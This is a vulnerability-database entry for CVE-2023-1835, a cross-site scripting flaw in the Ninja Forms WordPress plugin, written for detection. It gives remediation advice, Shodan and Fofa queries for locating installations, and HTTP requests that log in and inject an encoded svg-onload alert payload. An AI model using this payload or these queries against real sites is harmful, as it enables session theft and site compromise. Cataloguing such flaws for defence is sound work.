🔙 목록으로 돌아가기

CVE-2023-1835: Ninja Forms < 3.6.22 - Cross-Site Scripting

TitleNinja Forms < 3.6.22 - Cross-Site Scripting
Authorr3Y3r53
SeverityMedium
ImpactSuccessful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to session hijacking, defacement, or theft of sensitive information.
RemediationUpdate to the latest version of Ninja Forms (3.6.22 or higher) to mitigate this vulnerability.
CVSS Score6.1
EPSS Score0.18094
CVE IDCVE-2023-1835
CWE IDCWE-79
Shodan Queryhttp.html:/wp-content/plugins/ninja-forms/
Fofa Querybody=/wp-content/plugins/ninja-forms/
Tags cve2023 cve wpscan ninja forms wp wp-plugin wordpress authenticated xss ninjaforms vuln

🔍 Vulnerability Description

Ninja Forms before 3.6.22 is susceptible to cross-site scripting via the page parameter due to insufficient input sanitization and output escaping. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

🌐 HTTP Request

POST /wp-login.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 13_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.0 Safari/605.1.15
Connection: close
Content-Length: 38
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

log=8jaXHP&pwd=PmNBlS&wp-submit=Log+In
GET /wp-admin/admin.php?page=nf-processing&title=%253Csvg%252Fonload%253Dalert%2528document.domain%2529%253E HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Safari/605.1.15
Connection: close
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2023/CVE-2023-1835.yaml

🦈 Packet Capture: ⬇️ Download cve-2023-1835.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A